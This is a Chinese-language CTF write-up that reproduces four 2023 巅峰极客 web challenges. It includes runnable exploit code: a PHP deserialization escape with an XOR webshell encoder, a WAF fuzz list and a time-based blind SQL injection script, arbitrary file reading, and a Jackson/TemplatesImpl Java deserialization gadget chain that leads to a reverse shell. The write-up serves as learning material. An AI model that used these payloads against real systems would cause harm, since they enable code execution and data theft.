2023巅峰极客复现
那天我在加班,题都来不及看,研究牲是这样的。
unserialize
题目信息
访问ip/www.zip获取源码:
看function.php可以发现是一个经典的反序列化字符串逃逸,思路可以参考这个:
[0CTF] piapiapia,另外my.php里套了个无数字字母getshell。
利用思路
- 利用"bbbbbb"换成"aaaa",每次逃逸2个字符,覆盖掉pwd这个属性,让我们的恶意对象被识别成属性
- pull_it对象反序列化后,被销毁的时候要过waf,用异或方法
- 执行到eval方法
EXP
绕过无数字母
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
# python3
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function: ") )+action(input("[+] your command: "))+";"
print(param)
最后记得再Base64编码一下
反序列化逃逸
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
// if (eval($preg_match)) {
if (false) {
echo $preg_match;
exit("save_waf");
}
eval($this->x);
}
}
}
$p = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTA0JTA5JTA5Il4iJTYwJTYwJTdiIik7")));
echo urlencode(serialize($p));
?>
计算需要逃逸多少,可以自己echo出序列化的字符串,在本地慢慢调试
# 执行system("dir");
pwd=";s:6:"Jasper";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A33%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%04%09%09%22%5E%22%60%60%7B%22%29%3B%22%3B%7D
&root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
执行成功
注意事项
HackBar要选这个编码,不然利用失败,真不如Postman吧TnT
计算逃逸需要多少个"bbbbbb"的时候,别忘记private自带的两个空白,这里要+2
hellosql
题目信息
起手一个Warning,结合名字知道是SQLI,简单测试一下,发现有WAF
利用思路
Fuzz一下可用字符
# 被过滤的关键字
Payload Length
count 653
/* 653
benchmark 653
UNION 653
sleep 653
IF 653
/**/ 653
*/* 653
//* 653
UNION 653
UNIon 653
union 653
Count 653
COUNT 653
BENCHMARK 653
SLEEp 653
sleep 653
# 没被过滤的关键字
%20 669
%22 669
%23 669
%27 669
else 669
@ 669
= 669
%a0 669
%0d 669
from 669
%0c 669
INFILE 669
sys.schema_table_statistics_with_buffer 669
FLOOR 669
CURSOR 669
XOR 669
SEPARATOR 669
sys schemma 669
in 669
RLIKE 669
REGEXP 669
BEFORE 669
for 669
mid 669
%0b 669
%0A 669
%0a 669
users 669
, 669
669
` 669
WHERE 669
WHEN 669
VERSION 669
VARCHAR 669
VALUES 669
UPDATE 669
669
ord 669
substring 669
bin 669
format 669
instr 669
TRUE 669
THEN 669
TABLE 669
SQL 669
SHOW 669
updatexml 669
SET 669
SELECT 669
SCHEMA 669
REPLACE 669
RENAME 669
OUTFILE 669
ORDER 669
by 669
CAST() 669
order 669
extractvalue 669
ON 669
ORD 669
LIMIT 669
concat 669
concat_ws() 669
%df 669
TABLE_SCHEMA 669
information_schema.tables 669
rand() 669
floor 669
DROP 669
DELETE 669
alter 669
DATABASES 669
DATABASE 669
CREATE 669
group_concat 669
GROUP_CONCAT 669
CONCAT 669
COLUMN 669
CAST 669
inset 669
drop 669
delete 669
update 669
set 669
prepare 669
AND 669
ADD 669
WHERE 669
WHEN 669
VALUES 669
VALUE 669
USING 669
USER 669
UPDATE 669
THEN 669
TABLE 669
SET 669
SELECT 669
SCHEMA 669
ORD 669
ORDER 669
OR 669
user 669
infromation_schema 669
| 669
ON 669
OF 669
NULL 669
NEXT 669
NAMES 669
LIKE 669
LEVEL 669
LEFT 669
LEAVE 669
JOIN 669
INTO 669
HAVING 669
GROUP 669
anandd 669
// 669
/ 669
oorr 669
|| 669
&& 669
& 669
" 669
right 669
left 669
database 669
select 669
ASSic 669
ASSIC 669
ascii 669
REVERSE 669
+ 669
length 669
" 669
admin' 669
when 669
'1'='1 669
case 669
END 669
CREATE 669
COlumn 669
COLUMN 669
CAST 669
By 669
BY 669
ANd 669
AND 669
= 669
^ 669
. 669
) 669
< 669
> 669
( 669
<> 669
xor 669
+ 669
% 669
! 669
; 669
-- 669
INFORMATION 669
--+ 669
# 669
right 669
INSERT 669
insERT 669
insert 669
SELECT 669
select 669
Left 669
left 669
LimIt 669
limit 669
-~ 669
As 669
as 669
oR 669
or 669
having 669
delete 669
DATABASe 669
database 669
SeleCT 669
select 669
LiKe 669
like 669
handler 669
+ 669
Length 669
length 669
测出一条可用payload模板
pl_moudle = "http://192.168.147.133/index.php?id=1' and case when({}) then (select avg('A') from information_schema.character_sets A, information_schema.columns B, information_schema.tables C) else 1 end --+"
笛卡尔积可以去mysql的系统库里找延时比较合适的,比如下面这条,延时大概在2~3s,比较适合盲注
select avg('A') from information_schema.character_sets A, information_schema.columns B, information_schema.tables C
套时间盲注脚本
这里参考大头师傅的脚本
#! -*- encoding:utf-8 -*-
# python3
# author: leticia
import time
import requests
import string
s = ""
dic = string.printable.replace("*", "")
pl_moudle = "http://192.168.147.133/index.php?id=1' and case when({}) then (select avg('A') from information_schema.character_sets A, information_schema.columns B, information_schema.tables C) else 1 end --+"
for i in range(1, 100):
for c in dic:
pl = pl_moudle.format("(substr(({}),{},1)=BINARY('{}'))").format("select Flagg from Flllag", str(i), c)
# print(pl)
now = time.time()
try:
res = requests.get(pl)
except Exception as e:
pass
if time.time() - now > 2:
s += c
print(s)
break
print(s)
感觉这脚本还能优化,有时间再来搞吧。
hinder
题目信息
提示hinder,访问对应目录被拒绝,看了题解发现要URL全编码emmm
然后提示了一个任意文件读
利用思路
非预期
非预期就是文件任意读,看其他题解,发现是读的/proc/1/cmdline,然后
在start.sh、run.sh这种启动文件里找到flag了。
这里大头师傅的环境修了这个问题,只能模拟一下了
我直接去docker里找到文件,改了权限读出来,阁下又该如何应对?
预期
看大头师傅说,思路应该是打s2-061的IndexAction类logger属性的log4j
作为Java安全刚入门的新人,只能等题解了。
注意事项
用hackbar的话,URL编码了也绕过不了,这就是hackbar带给我的自信
建议用postman或者bp
babyurl
题目信息
给了Jar包,用JD-GUI反编译查看源码
这里出题人用自定义的ObectInputStream,是为了HOOK resolveClass来实现反序列化类的黑名单校验
没有额外依赖库可用
这题有两个思路,一个是SignedObject二次反序列化,另一个是直接Jasckson反序列化一把梭。
解题思路一
直接用Aliyun CTF的Bypassit1的Exp,改一改直接一把梭。
要改的是,解决Jackson反序例化链子的不稳定性,本质是因为调getter的时候,还没调到目标函数就error了
如下图,先调用了getStyleSheetDOM,然后报空指针错误,导致后面链子无法触发。
解决方案就是封装一层代理,源码分析放在参考链接,这里就不深究了。
public class Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
setFieldValue(templates,"_name","Jasper");
//code是要传的恶意代码
byte[] code = Files.readAllBytes(Paths.get("D:\\Exec.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
// _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTransformer()看一眼效果,就要设置_tfactory
// setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//利用JdkDynamicAopProxy封装templates,使得Jackson稳定触发到要用的getter
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode pojoNode = new POJONode(proxyObj);
BadAttributeValueExpException bavee = new BadAttributeValueExpException(null);
setFieldValue(bavee,"val",pojoNode);
serialize(bavee);
// unserialize();
}
public static void serialize(Object o) throws Exception{
// FileOutputStream fos = new FileOutputStream("object.ser");
// ObjectOutputStream os = new ObjectOutputStream(fos);
// os.writeObject(o);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(o);
out.close();
String res = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(res);
System.out.println("序列化完成...");
}
public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();
System.out.println("反序列化完成...");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
运行上面的Exp,把Payload发过去,等反弹shell,可以看到这里正常调了我们要的函数
成功上线
suid提权
解题思路二
signedObject二次反序列化,暂时不想搞。
参考链接
利用resolveClass实现黑名单
反序列化方法readObject的原理剖析
解决Jackson链的不稳定性
大头师傅的复现